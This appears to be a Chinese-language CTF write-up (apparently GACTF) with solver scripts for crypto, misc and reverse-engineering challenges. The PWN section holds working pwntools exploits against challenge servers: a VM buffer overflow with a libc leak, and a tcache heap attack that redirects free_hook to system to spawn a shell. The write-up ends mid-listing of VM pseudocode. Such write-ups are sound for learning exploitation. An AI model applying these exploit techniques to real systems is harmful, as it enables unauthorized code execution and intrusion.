# -*- coding: utf-8 -*- from PIL import Image
# 知道数据点阵然后画图
tempimage = Image.new('RGB', (600, 12000), '#000000')
with open("123.txt") as f:
try:
while True:
s=f.readline()
x=int(s.split(",")[0])
y=int(s.split(",")[1])
tempimage.putpixel((x,y),(255,255,255))
except:
pass
tempimage.show()
tempimage.save("./465.png")
画出来点很稀疏，仔细看还是能认出来的
## Crypto
### da Vinci after rsa
这一题e与phi不互素，这里我先用的amm域下开根，然后CRT，找到明文最短的，就是flag的乱序，最后根据斐波那契数列打乱的规则来恢复flag的顺序
# -*- coding: cp936 -*- from Crypto.Util.number import *
from gmpy2 import *
#域下开根
m1=[mpz(2816114411493328258682873357893989007684496552202823306045771363205185148674391), mpz(180966415225632465120208272366108475667934082405238808958048294287011243645), mpz(1369135259891793292334345751773139388112378132927363770631732500241630990458667), mpz(5570877862584063114417410584640901580756179707042774516590562822938385811269597), mpz(8499052407588078002885931765166137308397074232361087682974448633946350539292222)]
n1=9127680453986244150392840833873266696712898279308227257525736684312919750469261
m2=[mpz(6139772527803903), mpz(9898464751509789), mpz(8415400986072042), mpz(2722510300825886), mpz(6537111956662153)]
n2=11237753507624591
m3=7361
for i in range(5):
for j in range(5):
m = CRT([n1,n2],[m1[i],m2[j]])
#print m.bit_lengt()
if m.bit_length() < 250:
print m
ss=[1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025]
ciper=[1, 28657, 2, 1, 3, 17711, 5, 8, 13, 21, 46368, 75025, 34, 55, 89, 610, 377, 144, 233, 1597, 2584, 4181, 6765, 10946, 987]
flag=""
a='weadfa9987_adwd23123_454f'
for each in ciper:
flag+=a[ss.index(each)]
print ss.index(each)
#'e5awd4fa994f87_dwad3123_2'
#'w5aed4fa994f87_dwad3123_2'
### what_r_the_noise
拿了500组数据，取了平均值
RES=[['106.041622', '96.367238',...],...] #一次取值为一组，整一个二维数组
flag=[0]*(len(RES[0])-1)
for j in range(len(RES[0])-1):
for i in range(len(RES)):
flag[j]+=float(RES[i][j])
flag[j] = round(flag[j] / len(RES))
print(flag)
print (''.join(chr(int(i)) for i in flag))
### square
整数和有公式，然后在线网站给出递推式
from pwn import *
import hashlib
import string
context.log_level = 'debug'
def md5(content):
return hashlib.md5(content.encode(encoding='utf-8')).hexdigest()
table = string.printable
def poW(key,target):
while True:
tmp=''.join ( i for i in random.sample(table,5))
#print md5(tmp+key)[:5]
if md5(tmp+key)[:5] == target:
sh.recvuntil("xxx: ")
sh.sendline(tmp);
return
sh=remote("124.71.158.89","8888")
sh.recvuntil("str + ")
key = sh.recv(4)
sh.recvuntil("== ")
target = sh.recv(5)
print key,target
poW(key,target)
x=y=1
for _ in range(100):
sh.recvuntil("x: ")
x,y=-7*x-4*y-3,-12*x-7*y-6
while x<0 or y<0:
x,y=-7*x-4*y-3,-12*x-7*y-6
sh.sendline(str(x))
sh.recvuntil("y: ")
sh.sendline(str(y))
sh.interactive()
### babycrypto
emmm，原题，这题出现在XCTF，，emmm，不做评价<https://keltecc.github.io/ctf/writeup/2020/05/24/m0lecon-ctf-2020-teaser-king-exchange.html>
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
from hashlib import sha256
#from secret import flag,
from gmpy2 import gcd
def add_points(P, Q):
return ((P[0]*Q[0]-P[1]*Q[1]) % p, (P[0]*Q[1]+P[1]*Q[0]) % p)
def multiply(P, n):
Q = (1, 0)
while n > 0:
if n % 2 == 1:
Q = add_points(Q, P)
P = add_points(P, P)
n = n//2
return Q
def gen_key():
sk = random.randint(0, 2**256)
pk = multiply(g, sk)
return sk, pk
g = (29223879291878505213325643878338189297997503744039619988987863719655098,32188620669315455017576071518169599806490004123869726364682284676721556)
A=(68279847973010227567437241690876400434176575735647388141445319082120661, 36521392659318312718307506287199839545959127964141955928297920414981390)
B=(84698630137710906531637499064120297563999383201108850561060383338482806, 10975400339031190591877824767290004140780471215800442883565278903964109)
#p = gcd(A[0]^2 + A[1]^2 - 1, B[0]^2 + B[1]^2 - 1)//4
p=108848362000185157098908557633810357240367513945191048364780883709439999
'''
#sage
F = GF(p)
R.<w> = PolynomialRing(F)
K.<w> = F.extension(w^2 + 1)
g_K = g[0] + g[1]*w
B_K = B[0] + B[1]*w
b = discrete_log(B_K, g_K)
print(b)
print(multiply(g, b) == B)
'''
b=42167952593276919058888649873311585235839247920808784925745017581061391
enc = bytes.fromhex('26b1b05962d188f1f2abdfad2cef049d45cfc27d9e46f40ebe52e367941bcfa05dd0ef698f528375be2185759e663431')
print(enc)
shared = multiply(A, b)[0]
key = sha256(long_to_bytes(shared)).digest()
print(key)
aes = AES.new(key, AES.MODE_ECB)
ciphertext = aes.decrypt(enc)
print(ciphertext)
"""
(68279847973010227567437241690876400434176575735647388141445319082120661, 36521392659318312718307506287199839545959127964141955928297920414981390)
(84698630137710906531637499064120297563999383201108850561060383338482806, 10975400339031190591877824767290004140780471215800442883565278903964109)
26b1b05962d188f1f2abdfad2cef049d45cfc27d9e46f40ebe52e367941bcfa05dd0ef698f528375be2185759e663431
"""
### ezAES
可以手动用ECB实现下CBC，稍微爆破下key，之后倒推回去就可
from Crypto.Cipher import AES
import binascii, sys
import hashlib
import string
KEYSIZE = 16
def pad(message):
p = bytes((KEYSIZE - len(message) % KEYSIZE) * chr(KEYSIZE - len(message) % KEYSIZE),encoding='utf-8')
return message + p
def encrypt(message,passphrase,iv):
aes = AES.new(passphrase, AES.MODE_CBC, iv)
return aes.encrypt(message)
def decrypt(message,key):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)
def xor(s1,s2):
tmp=""
for i in range(len(s1)):
tmp+=chr(ord(s1[i])^ord(s2[i]))
return tmp
'''
for i in string.printable:
for k in string.printable:
key = b'T0EyZaLRzQmNe2'+i+k
h = hashlib.md5(key).hexdigest()
SECRET = binascii.unhexlify(h)[:10]
message = b'AES CBC Mode is commonly used in data encryption. What do you know about it?'+SECRET
#print (pad(message))
#print (len(message))
#print SECRET
if '\n\n\n\n\n\n\n' in xor(decrypt('72481dab9dd83141706925d92bdd39e4'.decode('hex'),key),'c70000000000a32c412a3e7474e584cd'.decode('hex')):
print (key)
#print xor(decrypt('72481dab9dd83141706925d92bdd39e4'.decode('hex'),key),'c70000000000a32c412a3e7474e584cd'.decode('hex')).encode('hex')
#print SECRET.encode('hex')
else:
pass
#print len(xor(decrypt('72481dab9dd83141706925d92bdd39e4'.decode('hex'),key),'c70000000000a32c412a3e7474e584cd'.decode('hex')))
'''
key='T0EyZaLRzQmNe2pd'
a='a8**************************b1a923**************************011147**************************6e094e**************************cdb1c7**********a32c412a3e7474e584cd72481dab9dd83141706925d92bdd39e4'
h = hashlib.md5(key).hexdigest()
SECRET = binascii.unhexlify(h)[:10]
message = 'AES CBC Mode is commonly used in data encryption. What do you know about it?'+SECRET+'\n'*10
cipher_hex2 = xor(decrypt(a[-32:].decode('hex'),key),message[-16:]).encode('hex')
cipher_hex3 = xor(decrypt(cipher_hex2.decode('hex'),key),message[-32:-16]).encode('hex')
cipher_hex4 = xor(decrypt(cipher_hex3.decode('hex'),key),message[-48:-32]).encode('hex')
cipher_hex5 = xor(decrypt(cipher_hex4.decode('hex'),key),message[-64:-48]).encode('hex')
cipher_hex6 = xor(decrypt(cipher_hex5.decode('hex'),key),message[-80:-64]).encode('hex')
cipher_hex7 = xor(decrypt(cipher_hex6.decode('hex'),key),message[-96:-80]).encode('hex')
flag='gactf{'+cipher_hex7.decode('hex')+'}'
print flag
### elgaml_rsa
最之前直接给了key，所以只需要做后面部分了，用yafu分解出因子，这一题同样e与phi不互素，这里我用了sage域下开根，然后找到其他伪根，之后CRT，遍历结果，
import gmpy2
import binascii
import random
import time
from Crypto.Util.number import *
from gmpy2 import gcd
def onemod(p,r,phi):
t=p-2
while pow(t,phi//r,p)==1:
t-=1
return pow(t,phi//r,p)
def solution(p,root,e,phi):
g=onemod(p,e,phi)
may=[]
for i in range(e):
may.append(root*pow(g,i,p)%p)
return may
cc=[]
c=255310806360822158306697936064463902328816816156848194779397173946813224291656351345682266227949792774097276485816149202739762582969208376195999403112665514848825884325279574067341653685838880693150001066940379902609411551128810484902428845412055387955258568610350610226605230048821754213270699317153844590496606931431733319116866235538921198147193538906156906954406577796507390570080177313707462469835954564824944706687157852157673146976402325057144745208116022973614795377968986322754779469798013426261911408914756488145211933799442123449261969392169406969410065018032795960230701484816708147958190769470879211953704222809883281592308316942052671516609231501663363123562942
n=9291396408938742901216260945022936295296428148978666191937871123543072796262750156634064262502768621751966984156260246554875423767
c1=c%n
phi=9291396408938742901216260945022936295296428148978666191937871123543072796262750156634064262502768621751966984156260246554875423767/653551912583*653551912582
e=4758
d=inverse(e/2,phi)
m=pow(c,d,n)
print m
m=3508850450582824165273493321698623059255507131195418622500873764921499456360533766661650210706371164849890713616900461583886502862
n=9291396408938742901216260945022936295296428148978666191937871123543072796262750156634064262502768621751966984156260246554875423767
e=2
#Mod(m,n).nth_root(2)
m_2=9291396408938742901216260945022936295296427913069921914008451848036749568331115107093132503364826445588216864172305690465320827107
assert pow(m_2,4758,n) == c1
M1 = solution(n,m_2,2,phi)
cc.append(M1)
C = 255310806360822158306697936064463902328816816156848194779397173946813224291656351345682266227949792774097276485816149202739762582969208376195999403112665514848825884325279574067341653685838880693150001066940379902609411551128810484902428845412055387955258568610350610226605230048821754213270699317153844590496606931431733319116866235538921198147193538906156906954406577796507390570080177313707462469835954564824944706687157852157673146976402325057144745208116022973614795377968986322754779469798013426261911408914756488145211933799442123449261969392169406969410065018032795960230701484816708147958190769470879211953704222809883281592308316942052671516609231501663363123562942
for i in cc[0]:
assert pow(i,4758,n) == c1
###########################
c=255310806360822158306697936064463902328816816156848194779397173946813224291656351345682266227949792774097276485816149202739762582969208376195999403112665514848825884325279574067341653685838880693150001066940379902609411551128810484902428845412055387955258568610350610226605230048821754213270699317153844590496606931431733319116866235538921198147193538906156906954406577796507390570080177313707462469835954564824944706687157852157673146976402325057144745208116022973614795377968986322754779469798013426261911408914756488145211933799442123449261969392169406969410065018032795960230701484816708147958190769470879211953704222809883281592308316942052671516609231501663363123562942
n=1285907422826085967411376101903334820815152616803700688938268852085890402215770620409
c1=c%n
phi=1285907422826085967411376101903334820815152616803700688938268852085890402215770620409/104280142799213*104280142799212
e=4758
d=inverse(e/122,phi)
m=pow(c,d,n)
print m
m=143718727934364541457314504836982181482287474034032463610147543816428479523397856462
n=1285907422826085967411376101903334820815152616803700688938268852085890402215770620409
e=122
#Mod(m,n).nth_root(e)
m_2=118406996121335867872417220406950412663021908207429086460086709649567668592818842789
assert pow(m_2,4758,n) == c1
M1 = solution(n,m_2,122,phi)
cc.append(M1)
C = 255310806360822158306697936064463902328816816156848194779397173946813224291656351345682266227949792774097276485816149202739762582969208376195999403112665514848825884325279574067341653685838880693150001066940379902609411551128810484902428845412055387955258568610350610226605230048821754213270699317153844590496606931431733319116866235538921198147193538906156906954406577796507390570080177313707462469835954564824944706687157852157673146976402325057144745208116022973614795377968986322754779469798013426261911408914756488145211933799442123449261969392169406969410065018032795960230701484816708147958190769470879211953704222809883281592308316942052671516609231501663363123562942
for i in cc[1]:
assert pow(i,4758,n) == c1
print "okk"
n=[9291396408938742901216260945022936295296428148978666191937871123543072796262750156634064262502768621751966984156260246554875423767,1285907422826085967411376101903334820815152616803700688938268852085890402215770620409]
index=0
for i in cc[0]:
for j in cc[1]:
index+=1
MMM = CRT(n,[i,j])
assert pow(MMM,4758,n[0]*n[1]) == C %(n[0]*n[1])
#print long_to_bytes(MMM)
if MMM.bit_length()<500:
print("=========")
print(long_to_bytes(MMM))
#else:
#print MMM.bit_length()
这里再给出前面求secret部分的脚本，wiki上的原题吧？
from Crypto.Util.number import *
g, h, A, B, p, q = 64, 20780474293866131933862287255555455030374045530251095666369283432462810652525427691721304254462237017759426334882916049495889504594009770520464330762959016951546575145462307317894496460531556164410953148497518290028088712258668119908424719634615388291047264345913823034842970773368033086339559642636137744915369016200318607505245388543117271999254001335968170458213311497321117529280041082988824396151908188525489700796405858374530511663128135580173535828610757421885017756967359800260945101629391819567689637211651895850980281588310001703030835140810350079586117727295930982227960023008919855063362680952572131899713036162496210570179135414385493625653887326331804734492999669859178883625968923995256089541092732093557828711090165978111405804292224573421621191633338981450285157302862932940500093263243947199483627384074436212584903719549495723188986249991756615160063402163694830775734815955316835349073419639199758694671594404540029322234383581399522064379382021595719397223893607631901725607641744479242212920789603071407011348514876465946739422799404447033886982709934951857043468867599886808040297253407019293845393488573199993494540736979501538494818953066676387396633085444166742111351272947318154970048596923974504404380927416,381708384013002636433122354335926692336601617676926968898013795392655866091031994182231300776082068899737198812550890687137401508001940273120074129003646740029985994207331055782501249765461466584992023925230840665949906632198101999859500790212575156806509743006505701713970313218378023375414073482678391588622628187074299412433043817050683291933161425628794715547714403106509123476151979947917391393412645765122604354225100743870995206588381507456741290978603333889874930706693482317045587451791046190740066378574507676759649633128467597518860457862695484980816243465255252173136325137506270232696551053565764269904166529146681242149565805411556997705869017810058040591799368604689685951672647151912084757145775011455841321798009615242210532962596268560546312347194505828381287458597164561168495886248727096685588006006546480425238352362436971564880004651450568881978647634212713224047524921068489089978106015561713311517385843649234918915312918406300092887256427518081655040845694063162361305181653495296888548335581623440628369113672677762811628569895443681117805669311418808453448653593363449729346566117394039637974118545192223391804824330785203598209547944921552416944717704983567183156966157476160974179852872170934972858836781, 43505603305111680803563977459640944464105385282379422421980575558368972842607765670721003089672603097313103981235686237397257862849601241879471167930153646225844008471355704339980238211134686502225715019115869317427197390964362320090838527730898664248447107765413761830863605920486819969055546423684508389628123987801815335523239425432391765479775424040215970484578304273140784182204718527220185459004052198324217205275587873438839100176140844478555649819782992169483866083330097141949046245149094504794723574282964767779251414958958706784791732572996736294885028909774443354205765706938344147696599409331866916073619245974602504186911091638010576094381687164075770345437007237017511597686483438791354205795335973602676663054120116592544019595778273459615865899404356938805021081374452052068221554454819002242766042331745787877501397324349289129890310340865730592151597455837880210622067528365150318411999840330958344868422035016628605636595819056821789774656720527976088720077220560311329066034711257025398105457680968934892169828204426383391000448054370375803473806685234956611656904127231542272618726532676811311523606477787525194092155173656104677312540399404023913503117830278920886909662890420006539377593361467113937140744010, 45546439253566873046135178791096659917209492861617458211267719798885277887938347304820298843145674472870766332758636279557209016031713547700909688953215131457341421729182912313815167760908611069679571547056188204597788444236869052385801746036327394329618747230203387842029040907229766131476048451293016635093208306323063715706067371953108251630052089462662417303475933291290566336468462586635807978767551023772175046232601222877403596811965579296677734661047163959600195727625890255130528298615338776353196525781432396712546801275867984255488198557346322961570926619651871594687507639988384211396556450312496725130292814328927584109530411297121292814256252280901057553636074873996093840854880090055633725117055959590322998817024919326703993851904085347843055734589470195083739394356572346483715507513378038693666480211356659114879422949481825838585239350398353217171146754711645184363669060413784452297408480588454177322580570407385734077514306779834329286166444213819533159384145482066266175499414964502711323195573855494716545548783117249211738964334485427936770661680033789944683657229394946749668495670252890519005455449387321211576562318106342614124875224420621771672914794854566658369446093868181072056414942873885989261187792529, 948884151115976521794482891481180414941864434617030379401410829143443289332048902183756225898868218184807631932471589157441854500660698910435618519858648572027946286024644006537815995018929397284991073897003920929120592588268105258037536375756820715200390567295903913375605018900620127739084342735271179897775173048397160743876403582356421908959418530472133693822415276901886798676426303888245999557657312995253646796512525476612574933582616235347452805438482582491670744325539380315219339554486224507358260953779841598178058359913916338656004136611381728366060971242747324889323075833091337737428259381510348440214433631852658002281883568690026933630338589185438699034084893208251955017810001876159035939938665824798395808688019152639666538581335111413396994470613962397577904049095257218410739739862042472784718337736597064893321311447538038303859153133299025357732224056492608007576438758620509422862676678926128694220428550153869459948214724579881860128467587787906940820503030876380545322904478427139819233241121989473261365599648276025244561756968446415349388785000703957180909525612394723951426993130268552479280321862235858574511714960548804460934900508762953576519058226136805382696793622253772334508644643205958109608079011
c1, c2 = 22453152428394606088943774662302202422153960447312197242455569997061450760047528966506441566524526853033293751967810594140854923226151650938525170137514600880805050554663943082815906368514404641025604294366860158614875990137728517294116316762556975898260341247898716976970617032432937955286668439404344848291545559658276642393602228734034612184252718870517184522197911024934717798077233461582581868193787894582258952888627951734023431879183670191669298358680498935709882003781077406338523907367346789138656618116933889244879390502610424899510803955442942977900239324993614041517202681723278532043123236878326249862092754098907790488065071040929376826057117979467292302080257950897426644056280125378364535680687786693270799850067554410612758531513629387059863596252391870417805469348504325636998643613777442875034648277326137337187208698790044216186340918785533348914782916443684223939292156374009910727628455699988827744627946732973050302225074511302818542457166115156873282388208050368257145196360795205915922021436321478999333704296935314435099278218817835181668673690398237608806925783268658459276024403522197373931280630406781239277149660631726005650281230352429449777583372994535668183455158366753076284188469366650872129189188954, 43014070623103292976184689427105928199147965783937089428385491282216272444365283117905989848749181365267234218854446028762485581571306912831438529312945584194862759018753822869158358589009967858962779001877279323670583250081922847895176784620706892400531521013763514799201763745183044164104035196613753228089053191247345267210940633115873824974769014722055077799856934880737833185923456222178802890352524448603177600618056088876614578821438861413350348617677694184716464398433385655237392506169213931196012955755770139080945778856434397878091389138231179032165240858902248596578661346637175321979963481071276143651366658999282369341715121067180208904222607402081278785172060423774990737421479393799816962905617768730613118540383524977589624740822007170019678257890472150388700140797012249510238048211606905864478903986719042623036582247378794747826919609810170285750234710357000132728486804956251659199729624366338890451927509641664833932346738489065555140914795441664133418400958836523237094378780782603370403266584597230077617701944349882551595000276212025361451916984278427199657858078227972152325611502177407278626854076690433960994875505694991760829975244773421088756265358618620304273856739824192560105567929686528910876014823965
c11, c12 = 44608013650780329531109538179331822570135966195550223402070161598185644434770862399901412649297405576993241936895024146617797344461666950233511185666728221978895618296351596298775136672055923289389665757911807359016802923641460730946632818202168872788458468347348232090434225957209352582129271299425216944747679759179672053700778261669489727413942176315455298932909861450580984970798585428405552956293406458215448336032446056582649917889593692072954837453042473056600004374540260728744840291557410530843899434261407426178111249646964369037637633211541371271197280517635042592551789127833173333234479307397045400972018112295715569721800138429266922182854791647269058891183615748790947697069153882008589561211157334372972499729485252727694797282796590848738021218670314348696571534824112823542032680872158338607531482751162776081697861530593966973408267629391304447962348239015723944462941622104654613580650653767954875700171277625377411714660734830575428948037611098387735691682421457169239064406477687024462745934438832041378409566709345316139490973699111690159932212499398783638503401404235464154454535785113901174157533110165240552563496872266944710590644159214078372821774380931384935459500471791384494332187743455497646590556880486, 1522687118053736861056969003430796399893176012103287854193029873658554858136827462259124651478772173757025568892302195402291455992394789178299309535616987072965579421593018021114875919558287237186455725647948113582053830294196737121722225985979525758513270467145143657376879463222508333678601013048368285045304095162002671773027175721352146624828522742775630450642598352531401961139587698492307980703004014415044157520489051036928610329089210652248586776563084702121754645966572787310495034532000331181441756647075157708515223727039422012212657926685677978199476498472278242756713492597894691133614639186351240949930682742853869969584053534079567976916119132941681011705563769739500572388748003030282448776889448778821320406706124477759144963675421171984971802471706213665007068221227826503520100160877838988068439450319825803900962680452544694163391017757486433728437439479064627991529036015041631361993854848621812502254104495342939127025063439806000291665982509626369261288950954463853496165866013918850578916279480441428849258614763017063059042143901251569352672219853411840562939930258505979216301725869416361119563043278577212326582324332541993877436871165282813371607548756276989941992463786598573454058633853167962827467271628
g_br = (inverse(pow(g, A, p), p) * c11) % p
tmp = pow(c12 * inverse(pow(c2, B, p), p), inverse(1-B, q), p)
print(tmp)
m = tmp * inverse(pow(h, A * inverse(1-B, q), p), p)
c = 255310806360822158306697936064463902328816816156848194779397173946813224291656351345682266227949792774097276485816149202739762582969208376195999403112665514848825884325279574067341653685838880693150001066940379902609411551128810484902428845412055387955258568610350610226605230048821754213270699317153844590496606931431733319116866235538921198147193538906156906954406577796507390570080177313707462469835954564824944706687157852157673146976402325057144745208116022973614795377968986322754779469798013426261911408914756488145211933799442123449261969392169406969410065018032795960230701484816708147958190769470879211953704222809883281592308316942052671516609231501663363123562942
n = m % p #secret
## PWN
### vmpwn
泄露，溢出覆盖指针，写好指令就可以执行了
exp：
#!/usr/bin/python
from pwn import*
context.log_level='debug'
def pwn():
# gdb.attach(cn,'b *$rebase(0xc9b)')
cn.recvuntil('name:')
cn.send('a'*0xf0)
cn.recv(0x100-0x10)
heap_addr=u64(cn.recv(6)+'\x00'*2)+0x2d18
print(hex(heap_addr))
cn.recvuntil('say:')
payload = '\x45\x45\x45\x51\x8f\x03\x8f\x02\x6d\x65\x38\x00\x00\x00\x00\x00\x00\x00\x66\x18\x00\x00\x00\x00\x00\x00\x00\x45\x45\x8f\x00\x61\x01\x00\x00\x00\x00\x00\x00\x00\x8f\x01\x52\x6d\x8f\x00'+'\x61\x01\x00\x00\x00\x00\x00\x00\x00\x8f\x01'+'\x52\x6d\x8f\x00'+'\x8f\x00'+'\x52\x8f\x00'+'\x45\x51\x6e\x8f\x03'+'\x6d\x61\x03\x00\x00\x00\x00\x00\x00\x00\x63\xff\x00\x00\x00\x00\x00\x00\x00\x52\x8f\x00'+'\x64\x02\x00\x00\x00\x00\x00\x00\x00\x8f\x01'
payload = payload.ljust(0x100,'\x00')
payload+=p64(heap_addr)
# payload+='\x68\xad'
# gdb.attach(cn,'b *$rebase(0xc9b)')
cn.send(payload)
# gdb.attach(cn)
cn.recvline()
libc_base = u64(cn.recv(6)+'\x00'*2)-0x3c4b78
open_addr = libc_base+0xf70f0
environ = libc_base+0x3c6f38
print(hex(libc_base))
print(hex(open_addr))
print(hex(environ))
cn.recvline()
cn.send(p64(environ))
stack_addr = u64(cn.recv(8))-0xf8
print(hex(stack_addr))
cn.send(p64(stack_addr))
free_ptr_addr = u64(cn.recv(8))-0x1740+0x2038F8
print(hex(free_ptr_addr))
cn.send(p64(free_ptr_addr))
cn.send(p64(open_addr))
cn.send('/flag\x00')
cn.interactive()
for i in range(1):
try:
print(i)
# cn = process('./vmpwn')
cn = remote('124.70.153.199',8666)
pwn()
except:
cn.close()
### student manager
在free之前，freehook被清了，改调用free前面的那个got就行了，在libc里面
exp:
#!/usr/bin/python
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='pwn'
if local:
p=process('./'+binary_name)
e=ELF('./'+binary_name)
libc=e.libc
else:
p=remote('124.70.197.50',9010)
e=ELF('./'+binary_name)
libc=ELF('./libc.so.6')
def z(a=''):
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def menu(num):
sla("choice:",str(num))
def add(idx,name,score):
menu(1)
sla("id:",str(idx))
sla("name:",name)
sla("score:",str(score))
def delete(idx):
menu(3)
sla("id:",str(idx))
def show(idx):
menu(2)
sla("id:",str(idx))
#0x5576b2a0 -> 1433842336
#z("b *(0x555555554000+0xdee)\nb *(0x555555554000+0x103b)\nb *(0x555555554000+0x129a)\n")
def pwn():
add(0,'a',10)
add(1,'a',20)
add(2,'a',30)
add(0x90,'a',40)
add(4,'a',50)
add(5,'a',60)
delete(4)
delete(4)
delete(4)
show(4)
ru('score:')
box=int(p.recvline())
b = box-(0x350-0x2a0)
print(hex(b))
add(6,'b',b)#6 -> 4
add(7,'b',b)#7 -> 4
add(8,'\x91',70)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(0)
add(9,'bbb',90)
show(1)
ru('score:')
libc_base=int(p.recvline(),10)+0xffffffff+1-0x3ebca0
print(hex(libc_base))
free_hook=libc_base+0x7746a0
putc_got=libc_base+0x774fd0
print(hex(free_hook))
system = libc_base+0x4F440
add(10,'ccc',putc_got-0xffffffff-1)
add(11,'ddd',free_hook-0xffffffff-1)
add(12,'ddd',free_hook-0xffffffff-1)
delete(5)
delete(5)
add(13,'eee',box-(0x350-0x2f0))
add(14,'eee',box-(0x350-0x2f0))
add(15,'/sh\x00',0x6873)
print(hex(system))
add(16,p64(system)[:-2],system-0xffffffff-1)
print(hex(system-0xffffffff-1))
print(hex(free_hook-0xffffffff-1))
delete(15)
p.sendline('ls')
print(p.recv())
p.interactive()
pwn()
## RE
### checkin
点击exe会在C:\Users\Lenovo\AppData\Local\Temp的目录下生成一个文件
点击进去看到src
进去就看到了源码
是用aes-128-ecb加密的，直接找到一个aes解密网站
直接可以求得flag（白给）
### easyre
动态调试到最后一个函数，在倒数第二个函数里是解密最后一个函数的指令机器码的，写ida脚本太麻烦了，直接动态调试看函数，发现是个VM题目，手撸出伪代码如下：
#ezRe
a1[1]=input
a1[9]=a1[1]
a1[2]=0x0000000d
a1[1]>>=0xd
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000009
a1[1]<<=0x9
a1[2]=0x78f39600
a1[1]&=0x78f39600
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000011
a1[1]<<=0x11
a1[2]=0x85d40000
a1[1]&=a1[2]
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000013
a1[1]>>=0x13
a1[1]^=a1[9]
if(a1[1]!=0x26f8d100):
exit(0)
a1[1]=input
a1[2]=0x000000ff
a1[1]&=0xff
a1[3]=0x00000002
a1[1]*=a1[3]
a1[1]=0x00000018
a1[1]+=a1[2]
change[0]=a1[1]
a1[1]=input
a1[2]=0x00000008
a1[1]>>=0x8
a1[2]=0x000000ff
a1[1]&=0xff
a1[5]=0x00000007
a1[1]/=0x7
a1[2]=0x00000021
a1[1]+=0x21
change[1] = a1[1]
a1[1]=input
a1[2]=0x00000010
a1[1]>>=0x10
a1[2]=0x000000ff
a1[1]&=0xff
a1[9]=0x000000bb
a1[1]^=a1[9]
a1[2]=0x000000ff
a1[1]+=a1[2]
change[2]=a1[1]
a1[1]=input
a1[2]=0x00000018
a1[1]>>=0x18
a1[2]=0x000000ff
a1[1]&=a1[2]
a1[4]=0x000000a0
a1[1]-=0xa0
a1[2]=0x00000077
a1[1]+=a1[2]
change[3]=a1[1]
a1[1]=flag[0]
a1[9]=change[0]
a1[1]^=a1[9]
if(a1[1]!=0x0000010b):
exit(0)
a1[1]=flag[1]
a1[9]=change[1]
a1[1]^=a1[9]
if(a1[1]!=0x7a):
exit(0)
a1[1]=flag[2]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0x95):
exit(0)
a1[1]=flag[3]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x106):
exit(0)
a1[1]=flag[4]
#b1 change[0] b2 change[1] b3 change[2] b4 change[3]
a1[9]=change[1]
a1[1]^=a1[9]
if(a[1]!=0x7d):
exit(0)
a1[1]=flag[5]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xad):
exit(0)
a1[1]=flag[6]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x12f):
exit(0)
a1[1]=flag[7]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x165):
exit(0)
a1[1]=flag[8]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x12d):
exit(0)
a1[1]=flag[9]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x12f):
exit(0)
a1[1]=flag[10]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x139):
exit(0)
a1[1]=flag[11]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x10d):
exit(0)
a1[1]=flag[12]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xbb):
exit(0)
a1[1]=flag[13]
a1[9]=change[1]
a1[1]^=a1[9]
if(a[1]!=0x8):
exit(0)
a1[1]=flag[14]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x10d):
exit(0)
a1[1]=flag[15]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x13f):
exit(0)
a1[1]=flag[16]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x13a):
exit(0)
a1[1]=flag[17]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x161):
exit(0)
a1[1]=flag[18]
a1[9]=change[1]
a1[1]^=a1[9]
if(a[1]!=0x57):
exit(0)
a1[1]=flag[19]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x120):
exit(0)
a1[1]=flag[20]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x10d):
exit(0)
a1[1]=flag[21]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x13f):
exit(0)
a1[1]=flag[22]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x13f):
exit(0)
a1[1]=flag[23]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xb5):
exit(0)
a1[1]=flag[24]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x113):
exit(0)
a1[1]=flag[25]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xa0):
exit(0)
a1[1]=flag[26]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x121):
exit(0)
a1[1]=flag[27]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x10d):
exit(0)
a1[1]=flag[28]
a1[9]=change[1]
a1[1]^=a1[9]
if(a[1]!=0x0b):
exit(0)
a1[1]=flag[29]
a1[9]=change[2]
a1[1]^=a1[9]
if(a[1]!=0x139):
exit(0)
a1[1]=flag[30]
a1[9]=change[0]
a1[1]^=a1[9]
if(a[1]!=0x173):
exit(0)
a1[1]=flag[31]
a1[9]=change[1]
a1[1]^=a1[9]
if(a[1]!=0x46):
exit(0)
a1[1]=flag[32]
